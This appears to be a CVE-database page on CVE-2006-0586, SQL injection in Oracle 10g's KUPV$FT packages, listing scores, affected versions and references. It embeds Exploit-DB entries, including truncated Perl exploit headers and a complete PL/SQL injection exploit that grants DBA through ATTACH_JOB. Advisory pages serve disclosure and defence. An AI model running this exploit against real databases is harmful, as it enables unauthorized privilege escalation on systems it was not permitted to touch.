CVE-2006-0586
published 2006-02-08CVE-2006-0586: Multiple SQL injection vulnerabilities in Oracle 10g Release 1 before CPU Jan 2006 allow remote attackers to execute arbitrary SQL commands via multiple…
PriorityP344high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
5.43%
91.8th percentile
Multiple SQL injection vulnerabilities in Oracle 10g Release 1 before CPU Jan 2006 allow remote attackers to execute arbitrary SQL commands via multiple parameters in (1) ATTACH_JOB, (2) HAS_PRIVS, and (3) OPEN_JOB functions in the SYS.KUPV$FT package; and (4) UPDATE_JOB, (5) ACTIVE_JOB, (6) ATTACH_POSSIBLE, (7) ATTACH_TO_JOB, (8) CREATE_NEW_JOB, (9) DELETE_JOB, (10) DELETE_MASTER_TABLE, (11) DETACH_JOB, (12) GET_JOB_INFO, (13) GET_JOB_QUEUES, (14) GET_SOLE_JOBNAME, (15) MASTER_TBL_LOCK, and (16) VALID_HANDLE functions in the SYS.KUPV$FT_INT package. NOTE: due to the lack of relevant details from the Oracle advisory, a separate CVE is being created since it cannot be conclusively proven that these issues has been addressed by Oracle. It is unclear which, if any, Oracle Vuln# identifiers apply to these issues.
Affected
22 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| oracle | application_server | — | — |
| oracle | application_server | — | — |
| oracle | application_server | — | — |
| oracle | application_server | — | — |
| oracle | application_server | — | — |
| oracle | application_server | — | — |
| oracle | application_server | — | — |
| oracle | application_server | — | — |
| oracle | oracle10g | — | — |
| oracle | oracle10g | — | — |
| oracle | oracle10g | — | — |
| oracle | oracle10g | — | — |
| oracle | oracle10g | — | — |
| oracle | oracle10g | — | — |
| oracle | oracle10g | — | — |
| oracle | oracle10g | — | — |
| oracle | oracle10g | — | — |
| oracle | oracle10g | — | — |
| oracle | oracle10g | — | — |
| oracle | oracle10g | — | — |
| oracle | oracle10g | — | — |
| oracle | oracle10g | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Oracle 10g KUPV$FT.ATTACH_JOB - SQL Injection (2)
exploitdb·2007-02-26
CVE-2006-0586 Oracle 10g KUPV$FT.ATTACH_JOB - SQL Injection (2)
Oracle 10g KUPV$FT.ATTACH_JOB - SQL Injection (2)
---
#!/usr/bin/perl
#
# Remote Oracle KUPV$FT.ATTACH_JOB exploit (10g)
# - Version 2 - New "evil cursor injection" tip!
# - No "create procedure" privileg needed!
# - See: http://www.databasesecurity.com/ (Cursor Injection)
#
# Grant or revoke dba permission to unprivileged user
#
# Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0"
#
# REF: https://www.securityfocus.com/bid/16294
#
# AUTHOR: Andrea "bunker" Purificato
# http://rawlab.mindcreations.com
#
# DATE: Copyright 2007 - Thu Feb 26 17:18:55 CET 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
#
# bunker@fin:~$ perl kupv-ft_attach_jobV2.pl -h localhost -s test -u bunker -p **** -r
# [-] Wait...
# [-] Revoking DBA from BUNKER...
# DBD::Oracle::
Exploit-DB
Oracle 10g - KUPV$FT.ATTACH_JOB Grant/Revoke dba Permission
exploitdb·2007-02-22
CVE-2006-0586 Oracle 10g - KUPV$FT.ATTACH_JOB Grant/Revoke dba Permission
Oracle 10g - KUPV$FT.ATTACH_JOB Grant/Revoke dba Permission
---
#!/usr/bin/perl
#
# Remote Oracle KUPV$FT.ATTACH_JOB exploit (10g)
#
# Grant or revoke dba permission to unprivileged user
#
# Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0"
#
# REF: https://www.securityfocus.com/bid/16294
#
# AUTHOR: Andrea "bunker" Purificato
# http://rawlab.mindcreations.com
#
# DATE: Copyright 2007 - Thu Feb 22 17:18:55 CET 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
#
#
# bunker@fin:~$ perl kupv-ft_attach_job.pl -h localhost -s test -u bunker -p **** -r
# [-] Wait...
# [-] Revoking DBA from BUNKER...
# DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at kupv-ft_attach_job.pl
Exploit-DB
Oracle 10g - SYS.KUPV$FT.ATTACH_JOB PL / SQL Injection
exploitdb·2007-01-23
CVE-2006-0586 Oracle 10g - SYS.KUPV$FT.ATTACH_JOB PL / SQL Injection
Oracle 10g - SYS.KUPV$FT.ATTACH_JOB PL / SQL Injection
---
/**
* Exploit for Oracle10g R1 and R2 prior to CPU Oct 2006
* Joxean Koret
* Privileges needed:
*
* - EXECUTE_CATALOG_ROLE
* - CREATE PROCEDURE
*
*/
select *
from user_role_privs
;
CREATE OR REPLACE FUNCTION F1
RETURN NUMBER AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO TEST';
COMMIT;
RETURN(1);
END;
/
DECLARE
USER_NAME VARCHAR2(200);
JOB_NAME VARCHAR2(200);
NEW_JOB BOOLEAN;
v_Return NUMBER;
BEGIN
USER_NAME := 'OWNER';
JOB_NAME := ''' OR ' || USER || '.f1() = 1--';
v_Return := SYS.KUPV$FT.ATTACH_JOB(
USER_NAME => USER_NAME,
JOB_NAME => JOB_NAME,
NEW_JOB => NEW_JOB
);
END;
/
// milw0rm.com [2007-01-23]
No writeups or analysis indexed.
http://lists.grok.org.uk/pipermail/full-disclosure/2006-January/041498.htmlhttp://lists.grok.org.uk/pipermail/full-disclosure/2006-January/041499.htmlhttp://www.osvdb.org/22839http://www.osvdb.org/22840http://www.red-database-security.com/advisory/oracle_cpu_jan_2006.htmlhttp://www.red-database-security.com/advisory/oracle_sql_injection_kupv%24ft.htmlhttp://www.red-database-security.com/advisory/oracle_sql_injection_kupv%24ft_int.htmlhttp://www.securityfocus.com/archive/1/422423/30/7370/threadedhttp://www.securityfocus.com/archive/1/422424/30/7370/threadedhttp://www.securityfocus.com/bid/16294https://exchange.xforce.ibmcloud.com/vulnerabilities/24195https://exchange.xforce.ibmcloud.com/vulnerabilities/24197http://lists.grok.org.uk/pipermail/full-disclosure/2006-January/041498.htmlhttp://lists.grok.org.uk/pipermail/full-disclosure/2006-January/041499.htmlhttp://www.osvdb.org/22839http://www.osvdb.org/22840http://www.red-database-security.com/advisory/oracle_cpu_jan_2006.htmlhttp://www.red-database-security.com/advisory/oracle_sql_injection_kupv%24ft.htmlhttp://www.red-database-security.com/advisory/oracle_sql_injection_kupv%24ft_int.htmlhttp://www.securityfocus.com/archive/1/422423/30/7370/threadedhttp://www.securityfocus.com/archive/1/422424/30/7370/threadedhttp://www.securityfocus.com/bid/16294https://exchange.xforce.ibmcloud.com/vulnerabilities/24195https://exchange.xforce.ibmcloud.com/vulnerabilities/24197
2006-02-08
Published